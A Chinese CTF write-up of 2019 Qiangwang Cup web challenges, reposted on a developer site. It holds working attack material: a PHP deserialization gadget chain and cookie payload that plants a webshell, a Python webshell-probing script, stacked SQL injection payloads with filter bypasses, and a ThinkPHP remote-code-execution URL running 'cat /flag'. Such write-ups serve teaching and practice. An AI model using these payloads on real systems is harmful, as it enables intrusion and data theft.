内容简介：Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物！随便打开一个页面发现 cookie 存在序列化的样子扫目录得到
Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物！
Web
Upload
随便打开一个页面发现 cookie 存在序列化的样子
a:5:{s:2:"ID";i:2;s:8:"username";s:4:"zedd";s:5:"email";s:11:"zedd@qq.com";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;}
扫目录得到 www.tar.gz 压缩包，代码审计
在 Profile.php 发现关键代码：
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
被出烂的反序列化…这里肯定是利用 __call 函数去执行我们的命令了。然后在 Register.php 中看到有关键代码：
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
很明显了，这里我们用 Register->checker = Profile ，利用 Profile->index() 去触发 Profile 类中的 __call 魔术方法。
但是我们可以看到 Profile.php 当中的 __call 方法调用的参数是
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
通过文档我们可以知道 $name 是不存在方法的调用的名字，在这里也就是 index ， $arguments 就是传入调用方法的参数，这里就为空。
而当使用 $this->index 的时候，我们会触发另一个魔术方法 __get
读取不可访问属性的值时，__get() 会被调用。
所以这里我们又因为 if 判断中调用了 $this->{$name} ，而当 $this->{$name} 不存在的时候触发了 __get ，那我们再仔细看看 __get 方法
public function __get($name)
{
return $this->except[$name];
}
这里又调用了 $this->except[$name] ，而 $name 我们可以通过 __call 调用的值确定为 index ，而且 Profile 类存在一个公有类 except 可以供我们修改。
接着利用 _get 的返回会使 __call 方法中的 if 为真，执行 $this->{$this->{$name}}($arguments);
这里我大概简化了一下代码：
结果如下，这样这个构造链就比较清楚了。
既然有了构造链，那我们可以怎么做呢？在 Profile 类中我们还可以发现上传功能的方法有这样的代码：
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
如果我们不上传文件，就可以直接绕过第一个 if 判断，直接用赋值绕过第二个 if 判断，然后可以构造图片马绕过 getimagesize 的判断，控制 $this->filename 为 php webshell 形式，这样利用 copy($this->filename_tmp, $this->filename) 就可以让服务给我复制出了一个 php webshell 了。
好了基本构造攻击链接都基本设计好了。接下来就是怎么触发攻击链了，最开始的源头就是从 Register 类的 __destruct 方法开始的，所以我们需要找到一个可以反序列化 Register 的地方。
在 Index.php 中我们可以找到
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
可以看到就是通过 cookie 进行传值进行反序列化操作。所以我们基本上所有的攻击就可以完成了。通过如下代码生成 cookie ，在首页替代 cookie 就行了，即使返回错误，也没关系，只要把文件 copy 了就行了
class Index extends Controller
{
public $profile;
public $profile_db;
}
class Register extends Controller
{
public $checker=true;
public $registed;
}
class Profile extends Controller
{
public $checker=false;
public $filename_tmp="upload/da5703ef349c8b4ca65880a05514ff89/f78492f0513c659e69dab2e47f567202.png";
public $filename="upload/sh.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
}
$index =new Index();
$reg = new Register();
$reg->checker = new Profile();
$index->profile = $reg;
print_r(urlencode(base64_encode(serialize($reg))));
得到 php websehll
YToxOntzOjI6IklEIjtPOjI3OiJhcHBcd2ViXGNvbnRyb2xsZXJcUmVnaXN0ZXIiOjg6e3M6NzoiY2hlY2tlciI7TzoyNjoiYXBwXHdlYlxjb250cm9sbGVyXFByb2ZpbGUiOjEzOntzOjc6ImNoZWNrZXIiO2I6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6NzY6InVwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9mNzg0OTJmMDUxM2M2NTllNjlkYWIyZTQ3ZjU2NzIwMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTM6InVwbG9hZC9zaC5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtpOjE7czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6NzoiACoAdmlldyI7TjtzOjEwOiIAKgByZXF1ZXN0IjtOO3M6MTY6IgAqAGZhaWxFeGNlcHRpb24iO2I6MDtzOjE2OiIAKgBiYXRjaFZhbGlkYXRlIjtiOjA7czoxOToiACoAYmVmb3JlQWN0aW9uTGlzdCI7YTowOnt9czoxMzoiACoAbWlkZGxld2FyZSI7YTowOnt9fXM6ODoicmVnaXN0ZWQiO047czo3OiIAKgB2aWV3IjtOO3M6MTA6IgAqAHJlcXVlc3QiO047czoxNjoiACoAZmFpbEV4Y2VwdGlvbiI7YjowO3M6MTY6IgAqAGJhdGNoVmFsaWRhdGUiO2I6MDtzOjE5OiIAKgBiZWZvcmVBY3Rpb25MaXN0IjthOjA6e31zOjEzOiIAKgBtaWRkbGV3YXJlIjthOjA6e319fQ%3D%3D
连上去就可以 cat /flag 了
高明的黑客
拿到题目，有 www.tar.gz 附件，但是解压缩出来有很多 php 文件，打开仔细看都是经过混淆的。一开始没什么思路，然后随便仔细审了一个文件，发现都是假马
存在有
echo `$_GET['xxx']`; system($_GET['xxx']); assert($_GET['xxx']); exec($_GET['xxx']); eval($_GET['xxx'] ?? ' ');
但是触发条件都极其恶心，故意不让你触发，有类似
if('xMpdxjdRB' == 'TgjMxZujP')
eval($_GET['xMpdxjdRB'] ?? ' ');
这样或者这样
$_GET['_5onXTD_C'] = ' '; eval($_GET['_5onXTD_C'] ?? ' ');
反正就是一系列不让你直接拿到 webshell 的操作，感觉应该就是在混淆真的 webshell 了。
既然是混淆真的 webshell ，那我们是不是可以写个脚本制定一些规则遍历一下所有文件呢？例如
$_GET 或者
$_POST
变量，直接暴力传参探测，看是否有 webshell 执行命令的回显就好了。
不过这好无聊哦…脚本如下…
import os
import re
import requests
filePath = '/Users/zedd/Sites/web2/src'
files = os.listdir(filePath)
url = "http://localhost/web2/src/"
def get_rep(filename, name):
r_url = url + filename + "?" + name + "=echo `id`;"
rep = requests.get(r_url)
print(r_url)
if 'uid=501' in rep.content.decode('utf-8'):
print("Got It! !!!!!!! " + filename + " The param is: _GET[" + name +"]")
def post_rep(filename, name):
r_url = url + filename
param = {
name: "echo `id`;"
}
rep = requests.post(r_url, data=param)
print(r_url + " POST: " + name)
if 'uid=501' in rep.content.decode('utf-8'):
print("Got It! !!!!!!! " + filename + " The param is: _POST[" + name +"]")
for k in files:
if k == '.DS_Store':
continue
if k == 'index.html':
continue
with open('./src/' + k, 'rt') as f:
content = f.read()
get = re.findall(r"GET\['(.+?)'\]", content)
post = re.findall(r"POST\['(.+?)'\]", content)
for i in get:
get_rep(k, i)
for i in post:
post_rep(k, i)
f.close()
第一天还跑错文件位置了，导致自己跑了好几遍都没出来，开始怀疑自己…第二天清醒了以后，仔细看才发现原来文件位置写错了…然后才跑出来
连上去 cat /flag 就拿到 flag 了
sql
一个注入题… fuzz 了一下，发现回显过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
但是讲道理，过滤了 select ，是无法通过常规操作注入去拿 flag 的，于是考虑是不是不需要拿数据库，就是单纯读文件什么的操作。
可以报错，尝试使用以下读文件，无果
1' and extractvalue(1, concat(0x7e, (LOAD_FILE('/etc/passwd')),0x7e));
1' and (extractvalue(1,concat(0x7e,(isnull('/etc/passwd')),0x7e)))#
这里神奇的事 isnull ，无论文件存不存在都返回了 0 …
搜索过滤的关键字，在红日代码审计那个找到类似的，用那个的思路尝试 HPP ，无果。
搜到 2018 SUCTF 中也有类似的关键字过滤，发现那道题可以通过类似以下的 payload 堆叠达到注入效果
set @t=0x73656c65637420312c323b;prepare x from @t;execute x;
但是尝试的时候发现过滤回显
strstr($inject, "set") && strstr($inject, "prepare")
想了好一会，突然发现这是个 strstr 函数呀！可以用大小写绕过！
但是题目可能哪里出了问题，好几次拿到 flag 字段内容都为空…我觉得没什么问题…尝试了好几个 payload ，也问了客服，客服说没问题…又随便试了几个终于出了…
select * from supersqli.1919810931114514 1919810931114514 select * from 1919810931114514 1';Set @t=0x73656c65637420666c61672066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;# 1';Set @t=0x73656c656374202a2066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;# 1';Set @t=0x73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134;Prepare x from @t;Execute x;#
强网先锋-上单
打开发现可以列目录，在 http://117.78.39.172:30280/1/runtime/log/201903/12.log 我们可以发现有一段 log
--------------------------------------------------------------- [ 2019-03-12T23:18:49+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 [ error ] [0]variable type error锛� boolean --------------------------------------------------------------- [ 2019-03-12T23:18:53+08:00 ] 42.236.10.84 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 [ error ] [0]variable type error锛� boolean --------------------------------------------------------------- [ 2019-03-12T23:19:52+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\Request/input&filter=system&data=whoami [ error ] [0]Access to non-public constructor of class think\Request --------------------------------------------------------------- [ 2019-03-12T23:23:59+08:00 ] 223.104.19.11 get /?s=captcha [ error ] [2]system(): Cannot execute a blank command
发现是 tp 的 rce log，直接拿去打 http://117.78.39.172:30280/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
拿到 flag
Conclusion
Web 都比较难，质量都还是不错的。我觉得第一个题 upload 整个构造链还是需要一定技巧的，But 看到一些 wp 直接三言两语就带过了…啧啧…还是学到了一些知识的
再贴一几个我收集到的 wp 吧
以上所述就是小编给大家介绍的《2019强网杯部分Web wp》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
猜你喜欢:
- 你负责人工智能哪部分？人工那部分；知识图谱的构建主要靠人工还是机器？
- cocosdx接bugly，上传符号表，有一部分内容解析出来了， 另一部分没有解析出来
- GO的部分总结~
- MySQL基础部分总结
- python字典实例（部分）
- DDCTF2018 部分writeup
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
计算机图形学与几何造型导论
戈德曼 / 邓建松 / 2011-9 / 69.00元
《世界著名计算机教材精选:计算机图形学与几何造型导论》是世界著名计算机教材精选之一。《世界著名计算机教材精选:计算机图形学与几何造型导论》共四部分三十章节，内容包括乌龟绘图，应用递归乌龟程序生成分形，分形的奇特性质，仿射变换，仿射几何：二维计算机图形学的连点过程，应用迭代函数系统生成分形，不动点定理及其推论，递归乌龟程序与共形迭代函数系统等。《世界著名计算机教材精选:计算机图形学与几何造型导论》可......一起来看看 《计算机图形学与几何造型导论》 这本书的介绍吧!
